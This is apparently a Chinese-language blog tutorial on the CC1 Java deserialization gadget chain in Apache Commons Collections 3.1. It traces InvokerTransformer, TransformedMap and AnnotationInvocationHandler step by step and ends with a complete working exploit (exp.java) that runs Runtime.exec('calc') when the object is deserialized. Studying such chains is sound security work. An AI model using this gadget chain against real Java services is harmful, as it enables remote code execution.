cc1链详解
- 版本:jdk8u25
- 依赖:Apache Commons Collections 3.1
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
|
链子
cc1的罪魁祸首来自于org.apache.commons.collections.Transformer这个接口,基本所有接下来用到的类都继承于这个接口
那么进入正题,怎么执行rce呢,用到了org.apache.commons.collections.functors.InvokerTransformer这个类
这个类中的transform方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } }
|
直接看else的部分,先获取input的类,然后查找这个类中的iMethodName方法,再通过invoke执行
而这三个参数可以通过InvokerTransformer的公有构造函数赋值:
1 2 3 4 5
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
|
可以做个小测试
testInvoke.java
![]()
那么接下来就得找什么调用了transform函数,查找其用法:
![]()
发现非常多,但只有一个可以成链子那就是TransformedMap类的调用(其余的如果感兴趣自己分析)
跟进调用,发现一共三个函数调用了transform函数,分别是:
- transformKey(protected)
- transformValue(protected)
- checkSetValue(protected)
分别这样调用了transform函数:
1 2
| return keyTransformer.transform(object); return valueTransformer.transform(object);
|
那么我们需要查找keyTransformer和valueTransformer是否可控,发现
1 2 3 4 5
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
|
在构造函数中都可以定义,但是构造函数是protected,不能直接调用,看看内部有没有调用他的
发现:
![]()
decorate函数调用了TransformedMap函数
那么再看前面三个protected函数是否有被调用,发现transformKey(protected),transformValue(protected)又被transformMap和put调用
transformMap又被putAll调用,putAll参数是个Map
所以调用put和putAll都能触发rce,但已经扯太远了,接下来才是真的cc链调用
只剩checkSetValue了,查看其调用,发现只有一个调用:
AbstractInputCheckedMapDecorator(transfromedMap的父类)的setValue方法,而这个setValue方法又继承于AbstractMapEntryDecorator类,而这个方法又继承于Map.Entry类
那么就可以知道一个简单的调用链:
setValue(Map.entry)->setValue(AbstractInputCheckedMapDecorator)->checkSetValue->transform
做个小测试:
MapInovke.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package test;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
public class MapInvoke { public static void main(String[] args) { InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Map map =new HashedMap(); map.put("Nebu1ea","Nebu1ea"); map.put(Runtime.getRuntime(),""); //为了测试putAll触发,要在转化成TransformedMap之前就把Runtime.getRuntime放进去 Map transformedMap=TransformedMap.decorate(map,invokerTransformer,invokerTransformer);
//setValue触发 for(Object i: transformedMap.entrySet()){ Map.Entry entry=(Map.Entry)i; entry.setValue(Runtime.getRuntime()); }
//put触发 // transformedMap.put(Runtime.getRuntime(),"Nebu1ea");
//putAll触发 // transformedMap.putAll(transformedMap); }
|
这样就把简单的调用链搞清楚了,那现在该查找如何调用了。
整理一下现有的条件,我们需要:
- 调用类可反序列化(继承 Serializable)
- 调用类调用了put/putAll/setValue任意一种方法
那么我们可以定位到sun.reflect.annotation.AnnotationInvocationHandler这个类,因为一般java源代码(src.zip)里是没有关于sun.reflect的类的,所以要不就下载完整源代码,要不就手动查找.
触发代码部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }
|
从上往下看
var2 = AnnotationType.getInstance(this.type),获取this.type的AnnotationType对象
Map var3 = var2.memberTypes()获取var2的memberTypes属性,那memberTypes是什么呢?
假如this.type是这么个注解类:
1 2 3 4 5 6
| @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { ElementType[] motherfucker(); }
|
那memberTypes属性就会赋值成一个带有
(“motherfucker”,java.lang.annotation.ElementType)的map
继续往下可以看到var4是memberValues.entrySet().iterator(),var5是var4的Entry
var6是var5的key,也就是键值对的前面部分
var7是在var3中获取var6对应的属性
可能有点晦涩,我举个例子:
1 2 3 4
| var3=("motherfucker",java.lang.annotation.ElementType) var5=("motherfucker","1")-> var6="motherfucker"-> var7=java.lang.annotation.ElementType
|
这样就好理解了一点
接下来判断var7是否为空
不为空则让var8等于var5的value,在上面的例子就是”1”
接着判断var8是不是var7或者ExceptionProxy的实例(正常不是,因为我们一般赋成了字符串实例)
如果都不是则调用var5的setValue函数
那么如果memberValues可控,调用链就成型了,我们查看memberValues
1 2 3 4 5 6 7 8 9
| AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
|
只有一个赋值且在构造函数里,可以通过反射调用来对其赋值,解析一下构造函数:
var3为var1参数的所有继承接口,所以现在有限制了
- 保证var1是注解类型(Annotation)
- var1有唯一父类java.lang.annotation.Annotation
那我们可以找到这个类
java.lang.annotation.Target
看看他代码:
1 2 3 4 5 6
| @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { ElementType[] value(); }
|
@interface表名他是个注解类型,所有注解类型都隐式继承了Annotation类,他没有继承其他类,完全满足
所以现在只要简单在构造transformedMap时put一个(“value”,任意)进去,就有一条简单的触发链了:
readObject->setValue->checkSetValue->transform
但是又又一个问题,setValue的参数是不可控的,它指定为AnnotationTypeMismatchExceptionProxy这个类,记得我们之前做的测试不?
我们setValue是这样触发的:
setValue(Runtime.getRuntime())
那有没有什么方法让setValue的参数无论是啥都触发呢?
完整链子
我们再引入几个类
- ConstantTransformer
- ChainedTransformer
这两个类同样继承了Transformer类,查看他们的tranform函数:
1 2 3
| public Object transform(Object input) { return this.iConstant; }
|
无论输入如何,返回iConstant对象
再看iConstant那里来的
1 2 3 4
| public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; }
|
公有构造函数直接赋值,也就是说我们赋值Runtime.class的话会直接原封不动的返回Runtime.class
1 2 3 4 5 6
| public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
|
一个一个调用iTransformers数组每一个成员的transform方法,且前一个transform返回的Object会成为下一个transform的参数。
那就有思路了,把Runtime.class藏在ConstantTransformer当中
然后将ConstantTransformer和InvokerTransformer通过ChainedTransformer链接起来
这里要调用三次InvokerTransformer.transform
- 第一次获取getRuntime函数
- 第二次获取invoke函数
- 第三次获取exec函数并执行
为什么不能直接把Runtime.getRuntime()藏在ConstantTransformer当中呢?
因为Runtime.getRuntime()是Runtime实例,是不能序列化的,但是Runtime.class是个Class实例,是可以序列化的
这样调用ChainedTransformer的transform方法时就能把Runtime.class传递给InvokerTransformer然后执行RCE
链子:
ObjectInputStream.readObject->AnnotationInvocationHandler.readObject->TransformedMap.entrySet().iterator().next().setValue->TransformedMap.checkSetValue->TransformedMap.transform->ChainedTransformer.transform->ConstantTransformer.transform->InvokerTransformer.transform
exp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.Map;
public class exp { public static void main(String[] args) throws Exception{ ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}); InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] Transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3}; Transformer chainedTransformer =new ChainedTransformer(Transformers); Map map=new HashedMap(); map.put("value","Nebu1ea"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// for(Object i: transformedMap.entrySet()){ // Map.Entry entry=(Map.Entry)i; // entry.setValue(Runtime.getRuntime()); // }
Class class1 =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor=class1.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object object=constructor.newInstance(Target.class,transformedMap);
//序列化 ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); objectOutputStream.close(); byte[] bytes=byteArrayOutputStream.toByteArray();
//反序列化 ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
![]()
结语
稍微开始上强度了,正常来说cc链是从transform或者setValue触发的,Anno触发链只是举了个例子,其余的执行代码审计研究
就此结束,Ciallo~~